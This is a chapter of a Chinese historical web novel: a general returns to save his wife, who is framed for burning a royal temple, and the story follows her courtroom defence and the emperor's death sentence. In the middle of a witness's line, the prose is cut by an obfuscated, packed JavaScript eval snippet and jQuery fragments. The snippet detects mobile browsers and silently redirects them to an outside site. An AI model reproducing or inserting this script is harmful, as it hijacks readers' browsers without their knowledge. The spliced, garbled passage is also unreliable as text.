马不停蹄，风霜尘土，铁甲上的各种划痕清晰可见，取下头盔，长发散乱无序，若不是众人识得这英俊眉眼，怕是要把人认作战败逃兵。


    老太太一见将军阔步迈过府邸，急忙迎上前，关切道：“为何此时回来？可是北境军情有变？”


    祖母想，若和国事相比，家事自然显得轻一些。加之他路途辛苦，刚落脚尚未缓过神，实在不应给人当头一棒。


    不停歇地赶了整个日夜，马都险些累死途中，穆随也不例外，急不可耐地接过下人端来的茶水，往嘴边送。他喘着粗气，道：“北境一切安定。”


    话语间见崔家小姐这么晚还留在府中，尤其是她望向他的目光，紧张中又充斥着强烈的希冀。穆随不禁牵动眉头，糟糕的预感迫使他急问道：“家中出了大事？”


    祖母抬眸望着他，言简意赅道：“晏氏遭人陷害，如今身陷牢狱中。”


    挂在檐下的灯笼晃了晃，弧光映进将军的眸子里，变成一记弯刀，被茶水温润过的嗓音忽地又天寒地冻般生硬：“因何罪名？”


    “火烧皇家寺庙。”


    “南古寺？”


    穆随自说自话道：“她绝不可能这么做。眼下她在刑部监牢？”


    攥着帕子的崔灵婉忍不住插话道：“将军回来得正是时候，若夫人再被关下去，怕是性命难保。”


    话落，穆随当即抬脚往外走，刚迈过府邸门槛便被急停的马车拦了去路，马车上挂着晏府的牌子，未听说详情也知事态严重。


    晏大人和晏夫人应是几夜未阖眼，眼下泛着乌青色，面颊的每一道纹路都松垮。


    “将军可是要闯大牢？千万不可！莫要再将事态恶化啦！”晏大人看他装扮失态，急慌慌的模样，急忙道破他的心切亦是大忌，“如今他们势头正盛，将军若执意要硬碰硬，他们奈何不了将军，难道还奈何不了一个手无缚鸡之力的女子？”


    闻言，穆随眉眼间的杀意很快被忧虑取代。他不语，似是在思索。


    晏夫人希望穆随快快把人救出来，又清楚这事难于登天，心中矛盾纠结万分，沉默半晌附和道：“老爷说得在理，将军硬闯救人怎知他们不会将这等罪扣在我儿头上，无疑是火上浇油。将军冷静些罢，待我们商量好万全之策也来得及。”


    崔灵婉听了这番话，深知自己方才的言论有些夸大其词，在场所有人只有她亲眼见过，于是改口道：“他们暂时还未动用私刑，或许夫人还能安全几日。”


    她的话前后矛盾，穆随不禁斜眼瞪她，崔灵婉被盯得肩膀一缩，颤声道：“我今夜混进牢中亲眼见过夫人，确实毫发无损，只是饿得身体有些脱力......”


    她唯恐心急会帮倒忙，把牢房中两人的一言一行全都交代清楚。瞥见穆随神色缓和些，她才松了肩膀。


    晏大人和晏夫人清楚人在牢房中尚且安好，终于面露欣慰，歇了气，两人手挽着手慢慢跟人走进府里，在正厅坐下。


    不必思前想后，穆随也知晏大人说得对，但他还是按捺不住心中焦灼，坐不住更听不进众人互相安慰的话，干脆背对着，独自站在檐下。


    就在大家商讨得热火朝天时，不远处又传来稀疏的脚步声，众人循声回头。


    穆随见穆岚风带着太子现身，甚至顾不上穆岚风身为女子为何夜不归家，与太子待在一处的不妥行为，只关注他们是否带回好消息。


    众人纷纷起身行礼。


    太子大手一挥，“这般时候各位长辈不必拘于规矩，商议正事要紧。”太子笑着应下各位的问安，接着将手里捏着的薄纸递给穆随，“这是他们写下的认罪书，相信将军一定瞧出其中端倪。”


    罪妇晏微，因夫常年戍守北境，心生怨怼，便趁夜无人时点烛烧南古寺，以此泄愤，祸乱朝纲。对以上罪行供认不讳，甘愿伏法。


    “简直是荒谬绝伦！”穆随不屑多看一眼，大力拍在桌上，接着毫无预料地在太子面前单膝跪地，双手抱拳，恳请道，“如今他们计谋已成，我知太子殿下与公主相比势孤力薄，若太子愿出手相助，我愿听从太子吩咐，效犬马之劳。”


    所有人都低眸愣住。


    大将军坚持武当派，只效忠当朝皇帝，此事人尽皆知。如今妻下大狱，他竟然没有丝毫犹豫，公然选择投诚太子。


    太子微微躬身将要回应，面前的晏大人也跪地应声道：“若太子肯出手相救，老臣亦甘愿为太子出生入死。”


    “两位大人快快请起！”太子没有惊喜，只有惊吓和无所适从的慌张，他赶忙将两人从地上拉起。


    “诸位因此事对我寄予厚望，可我实在只能尽绵薄之力。真是、唉......”备受关注，太子在厅里来回踱步几番叹气，终于砸拳惋惜道，“我既为太子，那便无畏皇姐或百官势力。实不相瞒，我于此事前便与父王密谈，已辞去东宫之主。只是父王念及此事重大，又未决定继位人选，所以还未昭告天下。”


    比武将投诚更为震撼的消息是太子不是太子了。周遭死一般的寂静。


    须臾后，穆岚风挺身而出，大声问道：“什么意思？你不当太子啦？你为什么不当太子？”


    “我自小就不求功名利禄，无心争权夺位，更不愿被朝廷纷争缠身，只因我出生早，才学略胜其他皇弟才得太子之位......退位让贤，这本就是我的初衷。”


    太子也不管身份地位能不能说，一股脑把心底话全部吐了个干净，惹得身边小厮不住拉扯他的衣袖。


    太子道：“实在不是我不愿全力相助，我既已退位，便不可拉拢官员，更受不起将军与大人厚望。幸得退位之事未昭告，我才能尽绵薄之力。”


    最有可能帮助他们的人现在变得和他们一样束手无策，这很难不叫人痛心疾首，但无人指责或感慨，所有人都沉默好一会儿才接受这个事实。


    晏大人敛眸将那张认罪书拿在手里看了又看，喃喃道：“火烧皇家庙宇，只有罪大恶极之人才会这么做，如此重案，竟然是一人所为，实在可笑！大理寺和刑部更是了不得，短短两三日便查清案件所有细节，人证物证齐全，恨不得立刻结案——”


    话至此处，众人恍然大悟此等重案的每一个环节都太完美、太迅速、太紧凑，很难找出一丝漏洞。


    穆岚风性子急，问道：“所以我们该怎么做？难道真的没有办法了吗？不可以拖延时间吗，我们在最短的时间内把真正放火的人找出来！”


    穆随和太子不觉走到晏大人前，三人同时道：“对簿公堂。”


    牢房内，叶星澜半梦半醒着把昨夜剩下的半个馒头吃干净，抬头见天光大亮，起身活动着身躯。


    昨夜酩酊大醉的狱卒一眼发现她的异样，指着她问：“你的披风哪儿来的？明明昨日都没有。”


    隐藏真实身份的男子忙按住狱卒的手，笃定道：“她昨个儿就穿着的啊，大哥难道不记得了？”


    “对啊，是你自己吃多了酒记忆错乱了，我被关进来时就一直穿着的。”叶星澜忙附和。


    她和男子说得有鼻子有眼，那狱卒便开始怀疑真是自己记错了，直挠头顶，便不再理她了。


    在叶星澜无聊度日的期间狱卒出去了一会儿，再回来时又将那认罪书丢到她眼前，手里握着蘸了盐水的皮鞭，威风凛凛道：“我劝你识相点，赶紧签字画押，我好交差，你也好早日投胎。”


    同样守在门外的男子强装淡定道：“大哥可是得了少卿大人的令？”


    “废话。”狱卒白了人一眼，鞭子也往人怀里一扔，“我今个儿身子不痛快，抽人这事让给你来，你也尝尝解气是个啥滋味。不过我劝你最好不要手下留情，若是大人怪罪下来，你可担不起。”


    狱卒说完大大剌剌地往椅子上一坐，看戏似的，满脸期待。


    隔着破旧的门栏，两人都知这关不好蒙混过关，若男子不做，狱卒只会变本加厉，那她只会身受重伤。


    看着锁链被人解开，叶星澜站在原地，也不知道该怎么办，就在男子犹豫之时，狱卒大声催道：“赶紧的，别磨磨蹭蹭！”


    别说被抽，哪怕是看一眼如毒蛇盘踞的鞭子，她都吓得尖叫，不住退到墙角。狱卒一听，起身冲到她面前，从人手里抢过鞭子，鞭子“哒”的一声抽向人的脚踝。


    叶星澜高喊一声，缩着脑袋不住后退到墙角，把披风笼得更紧了。


    男子见状赶忙去抢鞭子，快速掣动紧绷的嘴角：“还是大哥动作快，小弟学会了，学会了.......”


    “这就对嘛。”狱卒阴笑着松开手。


    裙摆撕开一道口子，透出白袜上的一抹血色，叶星澜疼得有些站不稳，抬手叫道：“等、等一下！”


    “等什么等，这还有你说话的份不成！”坐在椅子上的狱卒也嚷道。


    就在男子咬唇挥鞭即将再度抽向她的另一只脚踝时，忽然有人冲进门内一把将站在她面前的男子推开，又对她呵斥道：“你，出来，大人提审！”


    叶星澜猛然抬眸，饱含苦楚的眼眸终于绽放出丝丝曙光。


    被人一路推搡着往前走，在她咬牙忍痛之时，余光瞥见那张本不应此时出现的熟悉面孔，心跳猝不及防地滞住。


    不知道他是如何赶回来的，但看他面容沧桑疲惫，也知归途艰辛，特别是他那双本该令人生畏的眸光此时正望着她，无限的温柔和怜爱。而站在穆随身边的还有晏大人和晏夫人，还有穆府的许多人......


    她忍不住鼻尖一酸，视线逐渐变得模糊，仍不肯眨眼。


    “禀大人，犯人带到！”


    身边人一声高呼将她的思绪全数拉回。堂上静得可怕，连周围的呼吸声都清晰可闻。


    将军夫人犯下重案本该由皇帝，或者是直接代表皇权的人，亦或是内阁首辅为主审，可公堂上坐着的仍是暗中勾结，栽赃陷害的刑部尚书大人。


    “跪！”


    守在堂前，手持粗棍的衙役高呵一声。可备受瞩目的叶星澜毫无反应，扬着下巴，直挺挺站着。那衙役见状，立即请示坐于匾额之下的尚书大人。


    大人给衙役使了个眼神，衙役会意，横握粗棍走上前。还未靠近，视线中忽然划过一道弧线，飞至衙役的膝盖处，那衙役反应不及，吃痛地停下脚步。


    人群中的穆随板着眉眼，语调高扬道：“大人，在未定罪以前我夫人仍有诰命在身，得了陛下准许，见官不拜。”


    本该铁面无私的大人脸色陡然一变，叶星澜也不畏缩，目视前方，恶狠狠道：“我跪天跪地跪父母，跪祖宗神佛，就是不跪你这不辨是非，不明黑白，为虎作伥的黑心王八蛋狗官！”


    她语速极快，待众人反应过来时，尚书已黑着脸敲响惊堂木，令人不得喧哗。


    “将证人带上来——”


    一名穿袈裟的剃度男子跪在叶星澜身旁。叶星澜仔细打量一番，完全没见过此人。


    “证人刘旺，你将那日在南古寺所闻所见，悉数从实禀来，若有半句虚言，与犯人同罪。”尚书大人高声道。


    男子哆嗦着脑袋直起身子:“回、回大人。那夜戌时一刻，小人亲眼见将军夫人，她一手持蜡烛，一手提油罐，往后殿藏经阁处倒油点火......小人当时就在藏经阁附近，看得清清楚楚！”


    尚书看向叶星澜，问：“证人所言，晏氏可听清，作何辩解？”


    叶星澜因旁边这人鬼话连篇而轻笑道：“我就三个问题，他若答得上来，我便认罪认罚。”


    “准。”尚书不以为意地应道。


    叶星澜垂眸望着跪在地上隐隐发抖的男子，声音不大，却传至堂处每一个角落：“那夜我穿的什么颜色的衣裙？”


    “正是你身上这件，粉色。”证人望着她。


    “你确定？”叶星澜慢条斯理地解开披风的绳结，露出内里的鹅黄色衣裙，故意含糊道，“不是这件？穿着拖地的披风去倒油放火，我就不怕引火上身？”


    “那夜你着披风戴帽，但我仍把你的面容看得清楚！”那证人咬死就是她。


    不等她辩驳，人群中的崔灵婉大叫道：“他在说谎！实不相瞒，这披风是我昨夜探监时赠予穆夫人的，这披风一角还绣有我的名字，尚书大人大可派人查验。”


    “崔二小姐？”尚书大人敛眸正色道，“此话当真？”


    眨眼间，崔灵婉顾忌父亲顾忌家族，仍坚定道：“此话若有半分虚假，我甘愿与夫人同罚。”


    没想到崔灵婉娇弱瘦小的外表下竟藏着侠肝义胆，叶星澜心生感动，更知如果认罪，那才是辜负了她。


    她看向证人，目如针尖：“戌时一刻，南古寺的一众僧人在做什么？你又在藏经阁附近做什么？”


    似是预料到她的提问，刘旺面上的慌张消淡许多，平静道：“僧人都在佛前抄经念佛，我被安排


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053984|184822||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在藏经阁附近打扫。”


    “僧人？你也是僧人，你不该把他们唤作‘师兄、师弟’，怎么这般生疏，足以见得平日关系不好。”她一语道破此人身份，“你根本就不是真的和尚，即便你身穿袈裟是个光头，你从最开始两只手都没有合十过，这是一个和尚的习惯？”


    不等人回话，叶星澜继续问这假和尚，也问尚书：“一根蜡烛也能作物证？那蜡烛上写了我的名，还是我的姓，还是这蜡烛是世间独一只，只有我有的东西？你们栽赃陷害的证据未免太儿戏，所谓的人证更是破绽百出！”


    坐立难安的尚书脸色铁青，迟迟不语，半晌后怒拍着惊堂木：“大胆刁奴！竟敢当堂诬陷诰命夫人，来人，将人押入死牢，严加看管，待本官细细审问背后主使！”


    他顿了顿，看向叶星澜：“晏氏......暂且还押，待本官查明真相，禀明圣上，再作决断。”


    叶星澜以为审问结束就能摘除嫌疑，恢复清白身，可当她不解地看向人群时，千方百计帮她的人都没有开口阻拦，仍由衙役走向她。穆随也只是微微冲她摇头，眸光复杂。


    叶星澜不觉心头一紧，清楚即便穆随和晏大人都在京城内，火烧南古寺一案，她要想完美脱身实属难事。


    虽然又要回到牢房内，但如今她在牢内的待遇已截然不同了。


    那狱卒应是得了令，对她好言好语，还侧身将她带到更为宽敞、明亮，放着木床和被褥，还有桌案的房间里。不仅如此，桌案上还摆着一套整齐的茶具。


    牢房里的豪华大单间！


    身后的锁链再度发出沉重的响声，守在门外的狱卒仍是那年轻男子。他耐心解释道：“夫人虽关于牢中，尚未被定罪，身份高贵，不应像普通犯人一并对待。”


    叶星澜心里嘀咕几句也知这些出自谁的手笔，快步到门栏前，小声问：“是将军派人打点的？”


    见人点头，她惊喜地忘了神，原地跳了起来，又踮着右边被鞭子抽过的脚，扶着门栏才站稳。


    “桌上还有药膏，夫人可自行上药。”


    叶星澜瘸着脚往桌前走，嘴角一刻都没落下，颇有好了伤疤忘了疼的模样，小声嘀咕：“果然年纪大的男人会疼人。”


    皇宫大殿内，穆随一身朝服，双膝跪地，嗓音低哑如被风沙磨穿：“陛下，南古寺失火一案，不论人证物证皆不能证实此案与臣妻有关，府内几十人口皆可为证——”


    和十来位离穆随甚有距离的钦天监出列，双手捧着的笏板直指头顶，高声道：“陛下，那夜南古寺失火，我便早早禀报天象有异！妖星应验，灾厄降临！”


    “老臣作证钦天监猜测为真，晏氏或许真是妖女降世。老臣与晏氏共事多日，她常自言自语，形态诡异。南古寺正式修缮前，她便持刀恐吓老臣，将作监大有人可作证，那日她面色凶狠，着实像换了个人似的......”文大人应声附和，语调高昂，绘声绘色。


    穆随瞪大了眼睛，不可置信地看着这群明明有妻有女的官员竟然如此恶毒，为处死人不惜编出鬼神之论。


    皇帝面向众人，目光扫过未得诏令回京的穆随——这个为他、为整个天齐誓死守卫北境领土的将军。


    皇帝眼神讳莫如深，字字斟酌道：“朕记得，你与晏氏是朕赐婚的。”


    “是。”穆随的喉头重重滚动一下。


    皇帝又沉默了。他当然知道晏氏无辜。


    可他素来重武将轻文官的治国之策终于引来官员不满，如今数十位朝廷重臣联合上书要削弱武将势力。可令他万万没想到的是，这群官员竟敢火烧皇家寺庙，又栽赃陷害于一介女子，他们若非得益于皇权，如何胆大至此。可太子无心皇位，即便他有意助长太子势力，依旧敌不过暗中早已形成的巨大威胁。


    将军之妻不过是他们试图谋权篡位中最不值一提的人物。


    皇帝把御案上十几道奏折双手递于穆随面前，微微俯首的姿态似是无声诉说他的难处。


    而那十几道奏折的朱批刺得穆随眼睛生疼。


    “妖女祸国，当焚其形，夷其族。以正乾坤，安社稷！”


    宰相忽地伏地，悲怆道：“南古寺乃龙脉所在，此番火灾若非天谴，便是人祸！请陛下——斩妖邪，以正乾坤，安社稷！”


    十余位大臣纷纷跪地，额头触地的闷响在殿中回荡。


    皇帝慢慢直起身，背对穆随，声线毫无起伏：“罪妇晏氏，纵火烧毁皇家寺庙，证据确凿。然念穆氏及晏氏两族世代忠烈，穆随战功显赫......特旨，只罪其一人，不涉九族。五日后，监牢内问斩，尸身准穆氏带回安葬。”


    “不！”穆随迅即吼道，不可置信地抬头去望他自始至终多么无条件崇尚、敬仰，信服、听从的人，“陛下！您断断不可听信他们谗言啊！”


    与此同时，殿外传来一阵惊呼。


    “陛下，万万不可啊！”


    殿门大开，皇后不顾礼仪身份地快步到皇帝身边，紧拽着皇帝的袖口，劝道：“陛下有所不知，臣妾病重那段时日，若不是晏氏日夜照例，怕早已丧命，于陛下阴阳两隔。那时我便准许晏氏一道特赦令，大难不死，宫人皆可作证！”


    十几位老臣脸色骤变。


    皇后说时泪流满面，强硬的语气陡然直下，哀求着：“臣妾自知擅用凤令，干政僭越，愿受任何责罚。可君无戏言，若她难逃一死，皇家颜面该如何自守？妾身恳请陛下收回成命，饶她不死——”


    见皇帝面容已有动容，大臣们再次磕头齐声道：“请陛下——斩妖邪，以正乾坤，安社稷！”


    穆随将手里的奏折一把甩在地上，作势站起，却被殿内将士死死按住，直不起身。


    他望着金砖上倒映的身形，指甲深深掐进掌心，血顺着拳缝滴落不自知，嘶吼道：“人证物证皆不做实，仅凭钦天监三言两语，便定人生死！陛下，究竟何为明君？”


    皇帝身形一僵，肩线微微起伏，拂袖道：“皇后回宫思过，无旨不得出。其余事则，不得再论。”


    话落，皇后倏然抬头，张了张嘴，千万言语都冻在舌尖，唯有两行泪如雨般落下。


    眼看着金砖上若隐若现的身形远去，穆随纵有一身力气却使不出半点，他垂头弯腰跪着，纹丝不动。


    殿外，今年的第一场雪终于落下，一片雪花飘进殿内，融化在那一小汪血潭中，悄无声息。